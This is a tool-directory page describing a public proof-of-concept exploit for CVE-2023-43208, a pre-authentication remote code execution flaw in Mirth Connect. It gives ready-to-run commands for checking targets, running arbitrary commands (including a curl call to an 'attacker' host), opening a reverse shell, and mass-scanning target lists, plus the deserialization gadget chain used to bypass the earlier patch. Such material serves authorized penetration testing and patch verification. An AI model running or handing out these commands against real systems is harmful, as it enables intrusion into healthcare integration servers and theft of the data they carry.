Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-43208 — CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC | Kitploit
Tools/GitHubGitHub/kyakei/cve-2023-43208
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubkyakei/cve-2023-43208

CVE-2023-43208

CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC

View Repository
3116 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-43208 — Mirth Connect Pre-Auth RCE

Pre-authenticated Remote Code Execution in NextGen Healthcare Mirth Connect < 4.4.1 via XStream deserialization bypass.

CVSS 9.8 (Critical) — Patch bypass of CVE-2023-37679

Overview

Mirth Connect uses the Java XStream library to deserialize XML payloads on the /api/users endpoint without authentication. The original fix (CVE-2023-37679) introduced a denylist of dangerous classes, but this was bypassed using EventBindingInvocationHandler from Apache Commons Lang3 combined with the Commons Collections4 InvokerTransformer chain.

Fixed in Mirth Connect 4.4.1 by switching from denylist to allowlist.

Requirements

root@kitploit:~
pip install requests

Python 3.10+ (uses match statements).

Usage

Check if a target is vulnerable

Download Tool
root@kitploit:~
python3 exploit.py check -t https://target:8443

Execute a command (blind RCE — no output)

root@kitploit:~
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"

Pop a reverse shell

root@kitploit:~
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

Scan multiple targets

root@kitploit:~
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30

Attack Chain

root@kitploit:~
POST /api/users  (no auth)
     │
     ▼
XStream deserializes XML payload
     │
     ▼
sorted-set triggers Comparable.compareTo()
     │
     ▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
     │
     ▼
ChainedTransformer.transform()
     │
     ▼
ConstantTransformer(Runtime.class)
  → InvokerTransformer("getRuntime")
    → InvokerTransformer("invoke")
      → InvokerTransformer("exec", <command>)
           │
           ▼
      OS command execution as Mirth Connect service user

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.

References

  • NVD — CVE-2023-43208
  • Horizon3.ai — Writeup
  • CISA KEV Catalog